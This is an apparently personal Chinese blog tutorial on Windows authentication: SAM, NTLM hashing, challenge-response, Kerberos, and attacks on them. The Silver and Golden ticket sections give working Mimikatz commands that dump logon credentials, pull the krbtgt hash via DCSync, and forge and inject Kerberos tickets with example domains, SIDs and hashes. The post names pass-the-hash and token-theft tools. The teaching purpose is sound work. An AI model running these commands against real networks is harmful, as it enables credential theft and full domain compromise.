Windows安全认证入门


Sam文件

sam文件存放在%SystemRoot%\system32\config\sam 是系统Windows的账户的数据库文件。用户在登录时系统会自动读取sam中的认证对比,认证成功后登录

NTLM

NTLM是NT LAN Manager的缩写,这也说明了协议的来源。NTLM 是指 telnet的一种验证身份方式,即问询/应答身份验证协议,是 Windows NT 早期版本的标准安全协议,Windows 2000支持 NTLM 是为了保持向后兼容。Windows 2000内置三种基本安全协议之一。

NTLM(NT LAN Manager) Hash

NTLM Hash 是

生成方式

1、将明文口令转换成16进制格式

2、转换成unicode格式

3、对Unicode字符串作md4加密,生成32位的十六进制数字串

image-20220313160540699

如图所示,password经过ntlm hash加密后是8846f7eaee8fb117ad06bdd830b7586c

本地认证流程

Windows Logon Process(winlogon.exe)接收用户输入信息

winlogon进程将用户输入的内容传递给lsass.exe进程使用NTML hash对口令加密

用加密结果对比SAM数据库中的内容对比

结果相同则返回userid和groupid发送给winlogon

结果不同则登录失败

工作组环境NTML认证

  1. (仅交互式身份验证存在此步骤)用户访问客户机并提供域名,用户名,密码。客户端计算密码的Hash,并丢弃实际密码
  2. 客户端将用户名发送到服务器
  3. 服务器生成一个16字节的随机数Challenge并发送给客户端
  4. 客户端使用用户密码的Hash对Challenge进行加密,然后将结果response(Net-NTLM hash)返回给服务器
  5. 服务器使用用户名从SAM数据库中检索用户密码Hash,使用此密码Hash对Challenge进行加密
  6. 服务器将其加密的Challenge(在步骤5中)与客户端计算的response(在步骤4中)进行比较。如果它们相同则身份验证成功

域环境NTML认证

  1. (仅交互式身份验证存在此步骤)用户访问客户机并提供域名,用户名,密码。客户端计算密码的Hash,并丢弃实际密码
  2. 客户端将用户名发送到服务器
  3. 服务器生成一个16字节的随机数Challenge并发送给客户端
  4. 客户端使用用户密码的Hash对Challenge进行加密,然后将结果response(Net-NTLM hash)返回给服务器
  5. 服务器将三个信息发送到域控制器:用户名,发送给客户机的Challenge,返回给服务器的response
  6. 域控制器使用用户名从SAM数据库中检索用户密码Hash。使用此密码Hash对Challenge进行加密
  7. 域控制器将其加密的Challenge(在步骤6中)与客户端计算的response(在步骤4中)进行比较。如果它们相同则身份验证成功

ntml v1: challenge 8位 DES加密算法

ntml v2: challenge16位 HMAC-MD5算法

PTH(Pash The Hash)hash传递攻击

hash传递就是使用用户名对应的NTML Hash将服务器给出的chanllenge加密,生成一个response,来完成认证

hash传递所需条件:

1、能与被认证机器通信

2、hash传递需要被传递认证的用户名

3、hash传递需要被传递认证用户的NTML Hash

常用工具:

smbmap

CrackMapExec

impacket

metasploit

Kerberos

简介

Kerberos 是一种网络认证协议,其设计目标是通过密钥系统为客户机 / 服务器应用程序提供强大的认证服务。该认证过程的实现不依赖于主机操作系统的认证,无需基于主机地址的信任,不要求网络上所有主机的物理安全,并假定网络上传送的数据包可以被任意地读取、修改和插入数据。在以上情况下, Kerberos 作为一种可信任的第三方认证服务,是通过传统的密码技术(如:共享密钥)执行认证服务的。

域认证所参与的角色

1、Client(客户端)

2、Server(服务端)

3、KDC(Key Distribution Center) = DC(一般由域控担任这个角色)

img

AD(account database):存储所有client的白名单,只有存在于白名单的client才能顺利申请到TGT

Authentication Svervice: 为client生成TGT的服务,以下简称AS

Ticket Granting Service: 为client生成某个服务ticket,以下简称TGS

域认证流程概述

第一步

client向kerberos服务请求并发送明文身份信息(username/host),希望获取server 的访问权限(如上图①流程),KDC的Authentication Svervice处理身份信息通过AD查询client发送的身份信息是否存在,如果存在AS会产生一个随机的TGS session key用于与TGS通信。然后AS会发送两部分信息回客户端(如上图②流程)。一部分是TGT(Ticket Granting Ticket),用KDC自己的密码进行加密,其内容包含客户端信息、TGS信息和session key;另一部分信息通过客户端的密码加密只包含了TGS信息和session key。如果密码是正确的,那么在本地就可以解密出TGS session key。

第二步

完成第一步开始与TGS通信,首先向TGS发送请求(如上图③所示),请求中包含第一步完成后本地缓存的未解密TGT、客户端请求的服务信息、session key加密的authenticator。TGS收到信息后开始检查数据库中是否包含请求的服务名,如果没有,则返回错误信息,如果存在,则通过KDC的密码解密TGT,得到session key解密Authenticator验证身份。然后向client返回信息(如上图④所示),返回的信息包括TGS session key加密生成的service session key 和用server服务器生成的ST(service ticket)

第三步

最后在与server的正常通信都可以用server session key和ST进行认证如上图⑤⑥所示

白银票据

白银票据(Silver Tickets)是伪造Kerberos票证授予服务(TGS)的票也称为服务票据。

特点:

1、不需要与KDC进行交互

2、需要目标服务的NTLM Hash

伪造白银票据的Mimikatz命令:

#获取SID和hash

1
2
privilege::debug
sekurlsa::logonpasswords

sekurlsa::logonpasswords

#制作票据

1
2
3
kerberos::golden /domain:<域名> /sid:<域 SID> /target:<目标服务器主机名> /service:<服务类型> /rc4:<NTLM Hash> /user:<用户名> /ptt

kerberos::golden /domain:cyberpeace.com /sid:S-1-5-21-2718660907-658632824-2072795563 /target:scene.cyberpeace.com /service:cifs /rc4:9a68826fdc2811f20d1f73a471ad7b9a /user:test /ptt

由于白银票据需要目标服务器的Hash,所以没办法生成对应域内所有服务器的票据,也不能通过TGT申请。因此只能针对服务器上的某些服务去伪造,伪造的服务类型列表如下:

image-20220313211821160

防御方法:

1、防止服务器凭证不被窃取

2、开启PAC

黄金票据

黄金票据是伪造票据授予票据(TGT),也被称为认证票据。

特点

1、需要与DC通信

2、需要krbtgt用户(kdc服务对应的用户)的hash

伪造黄金票据的Mimikatz命令:

获取krbtgt用户hash

1
2
3
mimikatz(commandline) # privilege::debug
mimikatz(commandline) # lsadump::dcsync /domain:cyberpeace.com /all /csv 获取域内用户hash
mimikatz(commandline) # lsadump::dcsync /domain:cyberpeace.com /user:krbtgt 获取域SID值

制作黄金票据

1
2
3
4
5
6
7
mimikatz.exe "kerberos::golden /admin:system /domain:cyberpeace.com /sid:S-1-5-21-97341123-1865264218-933115267 /krbtgt:95972cdf7b8dde854e74c1871f6d80a0 /ticket:ticket.kirbi" exit

/admin:伪造的用户名
/domain:域名称
/sid:SID值,注意是去掉最后一个-后面的值
/krbtgt:krbtgt的HASH值
/ticket:生成的票据名称 //不是写入内存中的命令!

导入金票

1
2
mimikatz # kerberos::purge         
mimikatz # kerberos::ptt ticket.kirbi

Windows Access Token

简介

Windows Token其实叫Access Token(访问令牌),它是一个描 述进程或者线程安全上下文的一个对象。不同的用户登录计算机后, 都会生成一个Access Token,这个Token在用户创建进程或者线程 时会被使用,不断的拷贝,这也就解释了A用户创建一个进程而该 进程没有B用户的权限。

这也就解释了A用户创建一个进程而该进程没有B用户的权限,因为默认打开一个进程都是以自身的令牌去验证启动的。

1.Access Token种类

  • 主令牌(Primary令牌)
  • 模拟令牌(Impersonation令牌)

Windows Access Token令牌伪造

当用户注销后,系统将会使主令牌切换为模拟令牌,不会将令牌清除,只有重启机器后才会清除。

查看目前系统上存在的模拟令牌工具:

meterpreter:Incognito

Cobalt Strike-steal_token

参考链接

https://www.bilibili.com/video/BV1S4411e7hr

http://www.360doc.com/content/15/0409/15/261866_461830447.shtml

https://www.cnblogs.com/artech/archive/2007/07/05/807492.html

https://www.cnblogs.com/artech/archive/2011/01/25/NTLM.html

https://blog.csdn.net/wxh0000mm/article/details/105996397

https://www.cnblogs.com/wh4am1/p/12844441.html

https://www.cnblogs.com/wukenaihe/p/3732141.html


文章作者: jokerscar
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 jokerscar !
  目录